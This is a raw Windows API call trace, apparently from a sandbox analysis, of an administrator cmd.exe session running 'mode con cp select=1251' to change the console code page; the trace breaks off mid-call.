[0194.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0194.989] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.989] GetFileType (hFile=0xe8) returned 0x3 [0194.989] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.989] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.989] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.990] GetFileType (hFile=0xf4) returned 0x3 [0194.990] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a26c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0194.990] WriteFile (in: hFile=0xf4, lpBuffer=0x4a26c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x20f998, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesWritten=0x20f998*=0x18, lpOverlapped=0x0) returned 1 [0194.990] GetProcessHeap () returned 0x290000 [0194.990] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x4012) returned 0x2acd20 [0194.990] GetProcessHeap () returned 0x290000 [0194.990] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acd20 | out: hHeap=0x290000) returned 1 [0194.990] _wcsicmp (_String1="mode", _String2=")") returned 68 [0194.990] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0194.990] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0194.990] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0194.991] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0194.991] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0194.991] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0194.991] GetProcessHeap () returned 0x290000 [0194.991] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0) returned 0x2a97e0 [0194.991] GetProcessHeap () returned 0x290000 [0194.991] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1a) returned 0x2a4610 [0194.991] GetProcessHeap () returned 0x290000 [0194.991] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x38) returned 0x2a6510 [0194.992] GetConsoleOutputCP () returned 0x1b5 [0194.992] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a26bfe0 | out: lpCPInfo=0x4a26bfe0) returned 1 [0194.992] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0194.992] GetConsoleTitleW (in: lpConsoleTitle=0x20f950, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0194.992] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0194.992] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0194.992] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0194.993] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0194.993] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0194.993] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0194.993] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0194.993] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0194.993] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0194.993] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0194.993] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0194.993] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0194.993] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0194.993] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0194.993] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0194.993] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0194.993] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0194.993] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0194.993] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0194.993] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0194.993] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0194.993] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0194.993] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0194.993] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0194.994] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0194.994] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0194.994] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0194.994] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0194.994] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0194.994] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0194.994] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0194.994] _wcsicmp (_String1="mode", _String2="START") returned -6 [0194.994] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0194.994] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0194.994] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0194.994] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0194.994] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0194.994] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0194.994] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0194.994] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0194.994] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0194.994] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0194.994] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0194.994] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0194.994] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0194.995] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0194.995] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0194.995] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0194.995] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0194.995] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0194.995] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0194.995] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0194.995] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0194.995] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0194.995] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0194.995] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0194.995] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0194.995] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0194.995] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0194.995] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0194.995] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0194.995] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0194.995] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0194.995] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0194.995] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0194.995] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0194.995] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0194.995] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0194.995] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0194.995] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0194.995] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0194.995] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0194.996] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0194.996] _wcsicmp (_String1="mode", _String2="START") returned -6 [0194.996] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0194.996] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0194.996] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0194.996] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0194.996] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0194.996] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0194.996] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0194.996] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0194.996] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0194.996] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0194.996] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0194.996] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0194.996] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0194.996] GetProcessHeap () returned 0x290000 [0194.996] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x218) returned 0x291ab0 [0194.996] GetProcessHeap () returned 0x290000 [0194.996] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x42) returned 0x2a98a0 [0194.997] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0194.997] GetProcessHeap () returned 0x290000 [0194.997] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x420) returned 0x2a9a80 [0194.997] SetErrorMode (uMode=0x0) returned 0x0 [0194.997] SetErrorMode (uMode=0x1) returned 0x0 [0194.997] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2a9a90, lpFilePart=0x20f1e0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20f1e0*="Desktop") returned 0x25 [0194.997] SetErrorMode (uMode=0x0) returned 0x1 [0194.997] GetProcessHeap () returned 0x290000 [0194.997] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9a80, Size=0x66) returned 0x2a9a80 [0194.997] GetProcessHeap () returned 0x290000 [0194.997] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9a80) returned 0x66 [0194.998] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a25f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0194.998] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0194.998] GetProcessHeap () returned 0x290000 [0194.998] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x128) returned 0x291cd0 [0194.998] GetProcessHeap () returned 0x290000 [0194.998] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x240) returned 0x2a9b00 [0195.004] GetProcessHeap () returned 0x290000 [0195.004] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9b00, Size=0x12a) returned 0x2a9b00 [0195.004] GetProcessHeap () returned 0x290000 [0195.004] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9b00) returned 0x12a [0195.005] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a25f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0195.005] GetProcessHeap () returned 0x290000 [0195.005] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xe8) returned 0x2a5b70 [0195.005] GetProcessHeap () returned 0x290000 [0195.005] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a5b70, Size=0x7e) returned 0x2a5b70 [0195.005] GetProcessHeap () returned 0x290000 [0195.005] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a5b70) returned 0x7e [0195.006] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0195.006] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x20ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ef50) returned 0xffffffffffffffff [0195.006] GetLastError () returned 0x2 [0195.006] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x20ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ef50) returned 0xffffffffffffffff [0195.006] GetLastError () returned 0x2 [0195.006] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0195.007] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x20ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ef50) returned 0x2a5c00 [0195.007] GetProcessHeap () returned 0x290000 [0195.007] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x28) returned 0x2a4640 [0195.007] FindClose (in: hFindFile=0x2a5c00 | out: hFindFile=0x2a5c00) returned 1 [0195.007] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x20ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ef50) returned 0x2a5c00 [0195.007] GetProcessHeap () returned 0x290000 [0195.007] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a4640, Size=0x8) returned 0x2a98f0 [0195.007] FindClose (in: hFindFile=0x2a5c00 | out: hFindFile=0x2a5c00) returned 1 [0195.007] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0195.007] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0195.007] GetConsoleTitleW (in: lpConsoleTitle=0x20f4a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0195.007] GetProcessHeap () returned 0x290000 [0195.007] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x21c) returned 0x2a9c40 [0195.007] GetConsoleTitleW (in: lpConsoleTitle=0x2a9c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0195.007] GetProcessHeap () returned 0x290000 [0195.007] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9c40, Size=0xa8) returned 0x2a9c40 [0195.007] GetProcessHeap () returned 0x290000 [0195.007] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9c40) returned 0xa8 [0195.007] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0195.008] GetProcessHeap () returned 0x290000 [0195.008] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a9c40 | out: hHeap=0x290000) returned 1 [0195.008] InitializeProcThreadAttributeList (in: lpAttributeList=0x20f258, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20f218 | out: lpAttributeList=0x20f258, lpSize=0x20f218) returned 1 [0195.008] UpdateProcThreadAttribute (in: lpAttributeList=0x20f258, dwFlags=0x0, Attribute=0x60001, lpValue=0x20f208, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20f258, lpPreviousValue=0x0) returned 1 [0195.008] GetStartupInfoW (in: lpStartupInfo=0x20f370 | out: lpStartupInfo=0x20f370*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0195.008] GetProcessHeap () returned 0x290000 [0195.008] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x20) returned 0x2a4640 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0195.008] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0195.009] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0195.009] GetProcessHeap () returned 0x290000 [0195.009] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a4640 | out: hHeap=0x290000) returned 1 [0195.009] GetProcessHeap () returned 0x290000 [0195.009] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x12) returned 0x2a8900 [0195.009] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x20f290*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20f240 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x20f240*(hProcess=0x54, hThread=0x50, dwProcessId=0xbc4, dwThreadId=0xbc8)) returned 1 [0196.721] CloseHandle (hObject=0x50) returned 1 [0196.721] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0196.721] GetProcessHeap () returned 0x290000 [0196.722] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ac230 | out: hHeap=0x290000) returned 1 [0196.722] GetEnvironmentStringsW () returned 0x2aaa10* [0196.722] GetProcessHeap () returned 0x290000 [0196.722] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xae8) returned 0x2ab500 [0196.722] FreeEnvironmentStringsW (penv=0x2aaa10) returned 1 [0196.722] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000 [0196.722] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0 [0196.722] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x20eb48, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x20eb48, ReturnLength=0x0) returned 0x0 [0196.722] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd8000, lpBuffer=0x20eb80, nSize=0x380, lpNumberOfBytesRead=0x20eb40 | out: lpBuffer=0x20eb80*, lpNumberOfBytesRead=0x20eb40*=0x380) returned 1 [0196.723] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0201.523] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x20f188 | out: lpExitCode=0x20f188*=0x0) returned 1 [0201.523] CloseHandle (hObject=0x54) returned 1 [0201.523] _vsnwprintf (in: _Buffer=0x20f3f8, _BufferCount=0x13, _Format="%08X", _ArgList=0x20f198 | out: _Buffer="00000000") returned 8 [0201.523] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0201.523] GetProcessHeap () returned 0x290000 [0201.523] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ab500 | out: hHeap=0x290000) returned 1 [0201.523] GetEnvironmentStringsW () returned 0x2aaa10* [0201.523] GetProcessHeap () returned 0x290000 [0201.523] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0e) returned 0x2aeb10 [0201.523] FreeEnvironmentStringsW (penv=0x2aaa10) returned 1 [0201.523] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0201.523] GetProcessHeap () returned 0x290000 [0201.523] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2aeb10 | out: hHeap=0x290000) returned 1 [0201.523] GetEnvironmentStringsW () returned 0x2aaa10* [0201.523] GetProcessHeap () returned 0x290000 [0201.523] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0e) returned 0x2aeb10 [0201.523] FreeEnvironmentStringsW (penv=0x2aaa10) returned 1 [0201.523] GetProcessHeap () returned 0x290000 [0201.523] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a8900 | out: hHeap=0x290000) returned 1 [0201.523] DeleteProcThreadAttributeList (in: lpAttributeList=0x20f258 | out: lpAttributeList=0x20f258) [0201.827] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0201.827] _get_osfhandle (_FileHandle=1) returned 0xf4 [0201.827] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0201.828] _get_osfhandle (_FileHandle=1) returned 0xf4 [0201.828] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a25e194 | out: lpMode=0x4a25e194) returned 0 [0201.828] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.828] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a25e198 | out: lpMode=0x4a25e198) returned 0 [0201.828] GetConsoleOutputCP () returned 0x4e3 [0201.828] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a26bfe0 | out: lpCPInfo=0x4a26bfe0) returned 1 [0201.829] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0201.829] GetProcessHeap () returned 0x290000 [0201.829] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a5b70 | out: hHeap=0x290000) returned 1 [0201.829] GetProcessHeap () returned 0x290000 [0201.829] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a9b00 | out: hHeap=0x290000) returned 1 [0201.829] GetProcessHeap () returned 0x290000 [0201.829] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x291cd0 | out: hHeap=0x290000) returned 1 [0201.829] GetProcessHeap () returned 0x290000 [0201.829] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a9a80 | out: hHeap=0x290000) returned 1 [0201.829] GetProcessHeap () returned 0x290000 [0201.829] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a98a0 | out: hHeap=0x290000) returned 1 [0201.829] GetProcessHeap () returned 0x290000 [0201.829] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x291ab0 | out: hHeap=0x290000) returned 1 [0201.829] GetProcessHeap () returned 0x290000 [0201.829] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a6510 | out: hHeap=0x290000) returned 1 [0201.829] GetProcessHeap () returned 0x290000 [0201.829] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a4610 | out: hHeap=0x290000) returned 1 [0201.829] GetProcessHeap () returned 0x290000 [0201.829] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a97e0 | out: hHeap=0x290000) returned 1 [0201.829] _vsnwprintf (in: _Buffer=0x4a276340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f6b8 | out: _Buffer="\r\n") returned 2 [0201.830] _get_osfhandle (_FileHandle=1) returned 0xf4 [0201.830] GetFileType (hFile=0xf4) returned 0x3 [0201.830] _get_osfhandle (_FileHandle=1) returned 0xf4 [0201.830] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a26c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0201.830] WriteFile (in: hFile=0xf4, lpBuffer=0x4a26c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20f688, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesWritten=0x20f688*=0x2, lpOverlapped=0x0) returned 1 [0201.830] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a25f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0201.830] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a26c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0201.830] _vsnwprintf (in: _Buffer=0x4a25eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f6c8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0201.830] _vsnwprintf (in: _Buffer=0x4a25ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x20f6c8 | out: _Buffer=">") returned 1 [0201.830] _get_osfhandle (_FileHandle=1) returned 0xf4 [0201.830] GetFileType (hFile=0xf4) returned 0x3 [0201.830] _get_osfhandle (_FileHandle=1) returned 0xf4 [0201.830] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a26c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0201.830] WriteFile (in: 